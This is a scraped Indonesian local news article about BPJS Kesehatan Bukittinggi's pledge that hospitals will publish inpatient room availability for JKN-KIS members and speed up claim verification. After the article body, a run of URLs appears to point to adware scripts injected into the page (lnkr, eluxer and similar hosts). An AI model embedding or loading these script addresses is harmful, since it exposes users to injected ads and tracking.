Ruang Publik

Peserta JKN-KIS Mendapatkan Pelayanan Maksimal dari BPJS Kesehatan Bukittinggi

HaloBukittinggi : Untuk meningkatkan pelayanan pada peserta Jaminan Kesehatan Nasional (JKN) dan Kartu Indonesia Sehat (KIS), BPJS Kesehatan Bukittinggi komit lakukan transparansi permintaan pasien yang ingin hendak berobat, terkait dengan jumlah rawat inap yang ada pada setiap Rumah Sakit di wilayah kerja.

Kepala Unit Manajemen Pelayanan Kesehatan Rujukan BPJS Kesehatan Bukittinggi, Fauzi Lukman, menjelaskan, Rumah Sakit yang berada di wilayah kerja ini telah melakukan komitmen, sepakat menyediakan informasi ketersediaan ruang rawat inap yang dibutuhkan pasien, sehingga pelayanan bagi peserta JKN-KIS telayani secara maksimal.

“Bersama rumah sakit yang berada di wilayah kerja BPJS Kesehatan Bukittinggi telah melakukan komitmen bersama bahwa 2017 adalah tahun kualitas fasilitas kesehatan, di mana semua rumah sakit harus menyediakan informasi ketersediaan ruang rawat inap,” jelasnya, usai mengisi acara dialog di Programa 1 RRI Bukittinggi, Jum’at (16/6/2017).

Menurut Fauzi Lukman, perubahan penggunaan ruang rawat inap sifatnya setiap saat, jadi perlu semacam aplikasi yang dapat diakses, agar nanti fasilitas kesehatan primer dapat dimanfaatkan peserta JKN-KIS, sehingga mereka tau akan merujuk ke rumah sakit mana, dan tidak ada lagi istilah kamar penuh.

“Saat ini masih ada sejumlah rumah sakit yang menampilkan informasi secara manual, dan ditargetkan akhir 2017 semua rumah sakit sudah punya informasi ketersediaan ruang rawat inap,” terangnya.

Fauzi Lukman menambahkan, hal tersebut telah dilakukan secara berkala dalam bentuk sosialisasi pada petugas administrasi rumah sakit dan memajang “banner” informasi mengenai alur pendaftaran kepesertaan JKN-KIS.

Sementara itu terkait lambatnya proses verifikasi, akan dilakukan lewat konsep verifikasi di kantor, dengan konsep ini saat hari pertama serah terima klaim, selama jumlah sesuai dengan kelengkapan, maka akan dibayarkan pada 15 hari kerja setelahnya.

Peningkatan pelayanan BPJS Kesehatan ini sambung Fauzi Lukman, akan terus dilakukan namun praktik di lapangan memang membutuhkan waktu dan dilakukan bertahap. (Dipra)

https://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2449&ext=Advertisehttps://cdncache-a.akamaihd.net/sub/nee5452/51565_4460_/l.js?pid=2450&ext=Not%20sethttps://glgnltks.xyz/addons/lnkr5.min.jshttps://glgnltks.xyz/addons/lnkr30_nt.min.jshttps://eluxer.net/code?id=105&subid=51565_4460_https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=51565x4460x&r=43https://glgnltks.xyz/ext/116c6de661dcbbd02f.js?sid=51565_4460_&title=Not%20set&blocks%5B%5D=1f755&blocks%5B%5D=4d09a&blocks%5B%5D=00735

Click to comment

Leave a Reply

Your email address will not be published. Required fields are marked *

Populer

Copyright © 2016 HaloBukittinggi

To Top